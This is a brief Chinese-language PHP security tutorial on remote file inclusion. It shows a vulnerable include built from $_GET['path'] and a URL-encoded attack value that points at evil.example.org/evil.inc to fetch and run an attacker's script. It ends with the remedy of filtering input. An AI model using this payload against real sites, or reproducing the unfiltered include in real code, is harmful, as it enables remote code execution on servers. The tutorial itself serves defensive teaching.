PHP安全-代碼注入
一個特別危險的情形是當(dāng)你試圖使用被污染數(shù)據(jù)作為動態(tài)包含的前導(dǎo)部分時:
<?php
include '{$_GET[’path’]}/header.inc';
?>
在這種情形下攻擊者能操縱不只是文件名,還能控制所包含的資源。由于PHP默認(rèn)不只可以包含文件,還可以包含下面的資源(由配置文件中的allow_url_fopen所控制):
<?php
include ’http://www.google.com/’;
?>
include語句在此時會把http://www.google.com的網(wǎng)頁源代碼作為本地文件一樣包含進(jìn)來。雖然上面的例子是無害的,但是想像一下如果GOOGLE返回的源代碼包含PHP代碼時會如何。這樣其中包含的PHP代碼就會被解析并執(zhí)行。這是攻擊者借以發(fā)布惡意代碼摧毀你的安全體系的良機(jī)。
想象一下path的值指向了下面的攻擊者所控制的資源:
http://example.org/index.php?pat ... e.org%2Fevil.inc%3F
在上例中,path的值是URL編碼過的,原值如下:
http://evil.example.org/evil.inc?
這就導(dǎo)致了include語句包含并執(zhí)行了攻擊者所選定的腳本(evil.inc),同時原來的文件名/header.inc會被認(rèn)為是一個請求串:
<?php
include 'http://evil.example.org/evil.inc?/header.inc';
?>
這樣攻擊者就避免了去猜測剩下的目錄和文件名(/header.onc)并在evil.example.org上建立相同的路徑和文件名的必要性。相反地,在受攻擊網(wǎng)站的具體文件名被屏蔽的情況下,他只要保證evil.inc中輸出合法的他想要執(zhí)行的代碼就行了。
這種情況與允許攻擊者在你的網(wǎng)站上直接修改PHP代碼一樣危險。幸運的是,只要在include和require語句前對數(shù)據(jù)進(jìn)行過濾即可防止這種情況的發(fā)生:
<?php
$clean = array();
/* $_GET[’path’] is filtered and stored in $clean[’path’]. */
include '{$clean[’path’]}/header.inc';
?>
相關(guān)文章:
1. ASP中解決“對象關(guān)閉時,不允許操作?!钡脑幃悊栴}……2. 匹配模式 - XSL教程 - 43. XML入門的常見問題(四)4. xml中的空格之完全解說5. html小技巧之td,div標(biāo)簽里內(nèi)容不換行6. ASP動態(tài)網(wǎng)頁制作技術(shù)經(jīng)驗分享7. msxml3.dll 錯誤 800c0019 系統(tǒng)錯誤:-2146697191解決方法8. WMLScript的語法基礎(chǔ)9. 解決ASP中http狀態(tài)跳轉(zhuǎn)返回錯誤頁的問題10. ASP中if語句、select 、while循環(huán)的使用方法
